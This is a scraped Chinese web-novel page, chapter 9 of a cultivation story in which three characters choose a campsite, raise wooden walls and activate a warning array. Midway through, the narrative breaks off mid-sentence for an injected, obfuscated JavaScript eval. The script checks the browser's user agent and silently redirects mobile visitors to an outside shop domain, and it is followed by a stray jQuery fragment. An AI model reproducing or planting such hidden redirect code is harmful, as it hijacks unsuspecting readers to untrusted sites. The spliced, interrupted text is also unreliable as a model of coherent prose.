文趣网 > 其他小说 > 当数学天赋被迫修仙后 > 9. 第 9 章
    第九章

    选址用了苏然整整一个上午。

    她不是在看地形。她是在用脚步丈量每一个备选坐标的误差值。林朔跟在她后面,沉默地看着这个女人爬上爬下测了四块台地,每次蹲下去抓一把土,搓两下,闻一闻,然后在树皮上记一串数字。她一句话都没跟他说,也没问他觉得哪块地好。她不需要问。她信数据。

    最后选定的位置在溪流上游一处岩壁下方,台地高出水面大约四米,坡面平缓,背靠垂直岩壁,面朝东南,前方视野开阔,能一眼望到下切河谷的入口。林朔站在台地边缘往下看了一眼,说:“视野好。易守。”苏然蹲在地上,指尖点着刚画的几条线:“岩壁倾角八十三度,攀爬难度足够挡掉大型兽。台地面积大概四十步乘四十步,目前三个人住太大,但预留扩建空间是必要的。溪流水平距离二十五米,取水时间三分四十秒,在安全阈值内。土壤是砂质壤土,pH中性偏酸,适合我之前驯化的块茎。”她顿了一下,抬眼看林朔,“你要说的是不是这些?”

    林朔沉默了两秒。“差不多。”

    温晚盘腿坐在地上,膝盖上摊着记录仪,一边听他们对话一边飞快地打字。她的手指在虚拟键盘上敲得噼里啪啦,嘴里还念念有词:“选址标准——岩壁倾角、取水时间、土壤酸碱度……”打完之后她抬起头,用一种“我早就习惯了但还是觉得很离谱”的表情看了苏然一眼,“你是不是做任何事都有公式?”

    “选址本来就有公式,”苏然站起来拍掉膝盖上的土渣,“只是大多数人靠直觉套公式,误差大。我只是把变量代进去算一遍。结果一样,精度不同。”

    林朔已经走到岩壁根部,仰头看岩石的纹理走向。他的手贴上去,沿着岩壁摸了一遍,从岩壁根部到台地边缘,步测了一遍距离。然后他回头对苏然说:“岩壁没有裂缝,暴雨不会塌。台地土层下面是砂岩,打桩的话,深度至少要半米。东南方向坡度缓,是唯一的进攻通道——我会在那里布拒马。”

    苏然站起来,从背篓里掏出三面阵旗,沿着台地边缘走了一圈,每隔一段距离就蹲下来画几笔。她在标记阵旗节点。预警阵的覆盖范围是半径五十步,以台地为中心刚好能覆盖到溪流边。她的布阵逻辑很简单:任何体型超过中型犬的生物踏入这个范围,阵旗就会震动预警;如果同时触发两个以上节点,阵旗会自动激活能量扰动,迟滞入侵者三到五秒。她画到第四个节点时,林朔走过来,低头看着地上的标记。他用靴尖轻轻点了一下其中的一个位置,问她这个节点在最外侧,是不是覆盖死角用的。苏然说是。林朔又问如果敌人绕过溪流从岩壁上方下来,这个节点的预警范围够不够。苏然抬头看了一眼岩壁的高度,在心里修正了角度变量,把节点往外移了半步。然后她瞟了他一眼,说了句“观察力不错”。林朔没接话,只是点了下头,走到旁边去砍桩子。苏然继续画她的阵图,画到一半又往回改了刚才那个节点的位置。

    “你不是改过了吗?”温晚在旁边问。

    “他说的对。岩壁上方的角度我没算进去。初始模型漏变量了。”

    温晚愣了一下。在她有限的认知里,苏然是不会错的。但苏然刚才说“他说的对”,语气和说“今天的土壤湿度正常”没有任何区别——不是谦虚,不是被打脸后的不甘,只是一种纯粹的、对客观事实的确认。她默默在记录仪上又加了一行备注:苏然会认错。前提是你拿出比她更精确的变量。

    下午,建材到位。林朔用系统出品的铁斧砍了足够多的木桩,每一根都笔直,粗细均匀——他说弯的不要,有虫蛀的不要,节疤太多的不要。苏然问他挑木桩怎么也跟挑新兵似的。林朔说好的建材和好兵一样,一个坏的能毁掉整个阵地。苏然接过木桩时多看了他一眼,然后跪在地上,用炭笔在台地上画线。先画一个长方形,再画对角线,再画等分点。每一条线都拉得笔直,每一个交点都标了尺寸。温晚凑过来看了一眼,以为她在算什么高级几何。苏然说是小学乘除,算木桩间距,间距等于木桩直径乘以二点三,既能保证结构强度又能节省材料。

    温晚沉默了两秒,然后低头在记录仪上打了一行字:“苏然用小学乘除算出了我这辈子见过的最整齐的木桩间距。”

    林朔砸桩。苏然编藤蔓网。温晚负责在桩子之间填碎石和泥土,夯实成墙基。三个人,一个下午,四面矮墙拔地而起。苏然站在墙根下,沿着墙根走了一圈,在每个角检查了一次木桩的垂直度。林朔的桩打得极稳,每一根偏差不到一度。温晚填墙基填得满头满脸泥,一绺头发贴在额头上,但手上的活没停过。

    傍晚,苏然在营地正中心插下最后一面阵旗,注入灵力。阵旗无风自动,旗面上的符文亮了一瞬,然后迅速隐去——不是消失了,是进入待激发状态。四面阵旗同时发出一声极低的嗡鸣,空气中有什么东西被绷紧了。预警阵激活。系统手环震了一下。

    【支线任务:建立前哨——已完成。营地防御评分:52分。奖励:储物袋×1、基础建材包×1、积分+100。评价:B级。注:防御覆盖面和节点密度已达到B级标准。若增设困阵或杀阵节点,评分可提升至A级,额外奖励中品灵石。】

    苏然把储物袋的图标点开。背包界面自动弹出一排新的格子——从原来的20格扩展到了30格。她之前一直在精打细算,每一格塞什么都要提前规划,现在多了十格,有些一直被压缩优先级的东西可以放进来了。她把建材包也领了,里面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872097|212316||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是系统出品的标准建材:铁钉、合页、一段铁链、两块磨刀石。分量十足,品质比她手工打磨的石器高出一个数量级。

    夜里,篝火在石灶里燃着。温晚坐在火边,膝盖上摊开记录仪,一页一页翻着白天拍下来的照片和笔记。苏然靠在刚建好的木墙上,手里握着玉简,闭着眼睛,呼吸平稳,看起来像在修炼。但她不是在修炼。

    封印的缝隙在傍晚布阵时裂开得更大了。她能感觉到残魂的存在——不是之前那种模糊的、若有若无的波动,而是一个清晰的、稳定的意识核心,就在玉简的最深处。但她无法唤醒它。封印的手法与她所学的数脉阵修同源,都是太虚宗的阵法体系,虞长老的笔意。但它的结构更古老,更复杂,像是数脉阵修出现之前的某个过渡版本。她试着用灵力探入裂缝,封印就会自动收紧,像一个被触发的免疫系统。她在心中无声地问了一句“你是谁”,残魂没有回应她,但裂缝处传来的不再是空白。是一阵极轻的震颤,像有人站在一墙之隔的地方,听见了敲门声,但还无法回应。

    她睁开眼睛。温晚还在整理记录仪,嘴里念叨着什么“明天要去多拍点材料”。林朔坐在台地边缘,背对着篝火,面朝黑暗的林地。他的短刀搁在膝盖上,刀柄缠着的防滑布松了一截,他正在一圈一圈地重新缠好。

    苏然站起来,沿着木墙走了一圈,在每个阵旗节点前停了几秒,确认灵力运转正常。她想起林朔白天指出过,岩壁上方的进攻角度她漏了——她的数学模型没有自动修正地形纵深的变量。数脉真解里的复合阵图有专门处理地形纵深的结构,她之前在玉简里读到过相关记载。走到第三面阵旗时,她蹲下来,在旗杆底座刻了一道新的符文。这道符文不能在当前修为下激活,但它可以作为未来复合阵的预留接口。

    回篝火边的路上,她路过林朔。他手上的布条已经缠好了,一圈一圈,整整齐齐,每一圈之间的间距完全一致。他抬头看了她一眼,她低头看了他一眼,两个人都没说话。然后苏然继续走回篝火边坐下。她和林朔之间的关系不需要多余的话。今天他只说了他该说的——预警节点、岩壁角度、建材标准——而她只需要把他给的信息纳入模型,输出更优解,然后下次他再提出新的变量,她再修正。这个循环本身就是一种默契。

    深夜,温晚枕在背包上睡着了,手里还攥着记录仪,屏幕没关。苏然轻轻把记录仪从她手里抽出来,放在她旁边——这是她今晚第一次碰别人的东西。然后她回到自己的位置,靠在墙上,拿出玉简。这一次她没有试图强行突破封印。她只是将灵力聚在指尖,沿着封印的纹路缓慢描摹。封印在她的指腹下微微发热,像某种古老的、沉默的生命体,正在判断她是否有资格叩开这扇门。